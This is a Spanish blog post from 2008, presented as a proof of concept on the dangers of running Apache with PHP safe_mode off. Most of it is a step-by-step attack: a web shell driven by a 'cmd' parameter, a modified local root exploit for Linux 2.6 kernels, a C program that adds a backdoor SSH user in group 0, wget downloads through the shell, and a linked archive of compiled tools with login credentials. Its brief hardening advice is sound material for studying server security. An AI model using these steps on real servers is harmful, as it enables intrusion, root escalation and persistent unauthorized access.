Permisos de directorios de Apache + safe_mode y sus peligros (Apache/Php)
June 3rd, 2008 by BusindreCon este articulo queremos mostrar de forma comprensible, la importancia en materia de seguridad de tener una correcta configuración de Apache y Php. Lo haremos mediante una sencilla prueba de concepto en la que intentaremos crear un acceso shell (Ssh) por medio de un servidor web que no este debidamente protegido y tenga un kernel vulnerable a un conocido exploit. Usaremos para ello el famoso código (Con alguna modificación) que aprovecha una vulnerabilidad de los kernel 2.6.x - 2.6.24.1 para conseguir acceso a root. De lo que trata todo esto es de que Apache consiga acceso a comandos de root y de esa forma crearnos una entrada al sistema de forma remota. Para ello necesitamos un Pc con kernel vulnerable, un acceso a los ficheros php (Con los que ejecutar el script) mediante ftp por ejemplo y que el servidor Apache no tenga configurada la directiva "safe_mode" del archivo php.ini, encargada de permitir o denegar las funciones de acceso a comandos Linux desde Php. Los pasos serÃan los siguientes:
1.- Acceder al servidor mediante Ftp.
2.- Subir el fichero Php que tiene como función ejecutar comandos.
3.- Subir el Exploit que nos dará acceso a root.
4.- Subir el ejecutable con los comandos que se quiere que Apache ejecute como root, en nuestro caso la creación de un usuario con el que poder acceder via ssh, pero se podrÃa hacer cualquier otra maldad que se nos ocurra.
5.- Ejecutar el Exploit desde el documento php.
6.- Acceder al sistema vÃa ssh.
Esto es factible en cualquier otro lenguaje, como puede ser jsp, pero para el artÃculo usamos php que es lo más común de encontrar en tema hosting, lo realmente importante como siempre es la lógica. Veamos que tenemos que hacer y que debemos tener claro para empezar.
Ejecutar comandos shell mediante php (No permitido)
Lo normal en entornos de hoting es que no este permitido el uso de funciones que puedan hacer uso de comandos del sistema sobre el que se aloja el hosting, es una tÃpica medida de seguridad que como veremos nos quitará de muchos problemas. Al intentar usar este tipo de funciones cuando el servidor esta configurado para NO hacerlo, podemos observar que no se muestra nada en pantalla, o bien, se visualizan unos avisos como los siguientes:
Warning: system() [function.system]: Cannot execute a blank command in /var/www/vhosts/*****/httpdocs/probe.php on line 2
Warning: shell_exec() [function.shell-exec]: Cannot execute using backquotes in Safe Mode in /var/www/vhosts/****/httpdocs/prueba2.php on line 2
Depende de la configuración que se tenga, el servidor puede mostrar más o menos información sobre un problema en particular, por ejemplo de rutas o la linea de código que causa el problema. Como sabemos y se deduce de esto, es aconsejable que el servidor no muestre mensajes de error para no facilitar pistas a supuestos atacantes, para ello tenemos la directiva display_errors en el fichero php.ini.
Para no permitir el acceso a este tipo de funciones, debemos tener en el archivo php.ini la siguiente linea:
safe_mode = On
Algunas de las funciones que se pueden usar para ejecutar comandos de bash desde php y que se limitan con la opción safe_mode son las siguientes:
string system ( string $command [, int &$return_var ] )
string exec ( string comando [, array &salida [, int &var_retorno]] )
bool pcntl_exec ( string ruta [, array args [, array envs]] )
void passthru ( string comando [, int &var_retorno] )
Comillas invertidas
Ejecutar comandos shell mediante php (SÃ permitido)
En ciertos casos, más de los que pensamos, puede que el webmaster requiera usar comandos de shell mediante php, como puede ser el caso de querer instalar un panel de administración o uso de programas tipo squirrelmail. Esto se debe hacer con sumo cuidado y estando bien documentados ya que de permitir el uso de programas bash, solo deberÃamos dejar acceder a "x" comandos del sistema y NO a todos, usando chroot, creando cuentas de usuario limitadas, directorios safe_mode_exec_dir, etc,.. De tener permisos a todos los comandos como el usuario Apache, podrÃamos obtener información como la mostrada en la imagen, donde se pueden listar directorios, visionar código php e incluso saber que versión de kernel usa el servidor, lo cual nos facilita, en nuestro caso, saber si el servidor es vulnerable al exploit comentado anteriormente.
Código Php para usar comandos de GNU/Linux:
La forma de uso es por medio del navegador, curl o cualquier otro método que pueda hacer solicitudes http:
http://dominio.com/FICHERO.PHP?cmd=COMANDO
Ver Imagen: http://www.busindre.com/archivos/system_php_hack.png
De estar permitidos comandos por parte del servidor,.. nos podemos hacer la siguiente pregunta. ¿En que caso podrÃamos usar la funcionalidad que otorga la opción safe_mode en of para escribir sobre el mismo directorio donde están los ficheros php?
La respuesta es sencilla, solo en el caso de que tengamos permisos de escritura para los "otros"
drwxr-xrwx htdocs --> Permisos para otros (o+w)
^
De tener este tipo de permisos y sumándolo a la posibilidad de ejecutar comandos desde ficheros php, podrÃamos introducir y modificar cualquier tipo de archivos que tuviéramos en el hosting, sin necesidad de acceder a el mediante ftp, por ejemplo usando el comando wget. Este tipo de permisos cuando se tiene cuenta en el servidor, podemos modificarlos a nuestro antojo cuando gustemos por medio de ftp, por norma, si se sabe que un servidor es "hackeable", los atacantes compran un hosting y ya desde dentro actúan, pudiendo defacear cientos de webs, ver tráfico para robar credenciales, borrar ficheros, usarlo para phising,.. Resumiendo, todo lo que root puede hacer si se consigue escalar a id 0.
Ejemplo de descarga de un fichero (Imagen):
http://192.168.2.33/prueba.php?cmd=wget%20http://www.cyberpunkreview.com/images/robocop2-04.jpg
Con esto podrÃamos descargar otro exploit, otro php que sustituya uno actual con código malicioso,.. lo que queramos. Entonces, sabemos como ejecutar comandos desde php, por lo que ahora nos queda poder ejecutar comandos como root, para ello disponemos del exploit, el cual proporciona una shell de root, pero no es lo que nos interesa, necesitamos que ese exploit pueda ejecutar un determinado comando o varios de ellos, NO darnos una shell. Para la prueba de concepto vamos a dividir el funcionamiento de exploit en dos partes. Una primera parte que es el exploit en si, que en vez de ofrecer una shell ejecuta un determinado fichero ejecutable (Compilado), que también debemos subir al servidor, con el comando que queramos que el servidor Apache utilice bajo los permisos de root.
Modificación del exploit propuesta:
Original:
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
Propuesta para la prueba de concepto (exploit.c):
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("./programa","programa",NULL);
die("./programa", errno);
}
Como vemos en los cuadros le estamos diciendo al exploit que ejecute un fichero denominado "programa", lo cual hará sin problemas ya que en principio no está limitada la ejecución de comandos por medio de directorios, como deberÃa estar si se quieren permitir comandos shell. La ejecución del fichero "programa" se realizará mediante privilegios de superusuario, gracias a la modificación del exploit, por lo que en el fichero ejecutable podemos indicarle perfectamente comandos de root, que nos muestre el contenido de /etc/shadow, editarlo, apagar el servidor,lanzar ataques contra otras maquinas o lo que nos apetezca. Para hacerlo más didáctico vamos a usar ese fichero (previamente compilado) llamado para el ejemplo "programa", con la finalidad de que nos cree un usuario en el servidor y asà poder acceder a el vÃa ssh.
Para crear un usuario en GNU/Linux desde una sola linea de comandos, tenemos esta sencilla instrucción, donde se le indica el id, guid, password, terminal y nombre de usuario a crear:
# useradd -u 503 -m -p ` openssl passwd -1 PASSWORD` -g 0 -s /bin/bash USER
Ahora pasemos ese comando a lenguaje C (programa.c):
{
system("/usr/sbin/useradd -u 503 -m -p ` openssl passwd -1 hola` -g 0 -s /bin/bash manolo");
}
NOTA: No otorgamos ID 0 (root) ya que puede estar prohibido el acceso directo a ssh con usuarios "root" y es posible que no se nos permita crear otro usuario con id 0 desde useradd, en consola muestra un error del tipo useradd: UID 0 is not unique. Estos errores provocados por los comandos que ejecutamos desde php, se pueden ver en la máquina servidor mediante el fichero error_log de apache (/var/log), por si queremos consultarlos. Veamos un ejemplo del log del servidor después de ejecutar unos comandos desde el php.
# tail /var/log/apache2/error.log
PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php/extensions/pdo.so' - /usr/lib/php/extensions/pdo.so: cannot open shared object file: No such file or directory in Unknown on line 0
[...] [notice] Apache/2.2.3 (Debian) PHP/5.2.0-8+etch11 configured -- resuming normal operations
[...] [error] [client 192.168.2.19] PHP Notice: Undefined index: cmd in /var/www/apache2-default/hack_apache/prueba.php on line 4
[...] [error] [client 192.168.2.19] PHP Warning: exec() [function.exec]: Cannot execute a blank command in /var/www/apache2-default/hack_apache/prueba.php on line 4
[...] [error] [client 192.168.2.19] PHP Warning: Invalid argument supplied for foreach() in /var/www/apache2-default/hack_apache/prueba.php on line 5
useradd: UID 0 is not unique
useradd: UID 0 is not unique
useradd: warning: the home directory already exists.
Not copying any file from skel directory into it.
useradd: user manolo exists
Para compilar tanto el exploit como el fichero lanzador de comandos ("programa") nos vale con usar:
$ gcc -o exploit exploit.c
$ gcc -o programa programa.c
Ya tenemos todo lo necesario para intentar crear un usuario en el servidor atacado, el proceso serÃa subir el fichero php, el exploit y el ejecutable "programa" al servidor, ya sea por ftp o el metodo que sea. Realmente si se puede subr el fichero php deberÃamos poder subir el exploit y el programa. Una vez los tres subidos al servidor, la forma de ejecución es simple.
http://dominio.com/prueba.php?cmd=./exploit
De ser vulnerable el servidor, podremos hacerle un ssh a su ip, loguearnos y tener el server entero a nuestra entera disposición. El acceso no se hace con id 0, pero de ser vulnerable el servidor con ejecutar el exploit (El que da acceso a shell como root) después de loguearnos, escalarÃamos a superusuario sin ningún problema. Para terminar dejo un rar con estos ficheros:
prueba.php (El visto en el ejemplo)
exploit (Compilado)
programa (Compilado)
php.ini (Con safe_mode=off)
Md5:
4c66bce26e6e5af1a6fb4babd7e1eacc exploit
f61ad818ce0563797b40f5e8d07fde22 php.ini
cc551bc7c1ab8124ad12bdff9becd4e4 programa
d9dc00ee113fbb2eb4afabb85369b997 prueba.php
Descargar: http://www.busindre.com/archivos/hack_apache.rar
Para acceder a la shell: User: manolo / Password: hola
Posted in Linux |
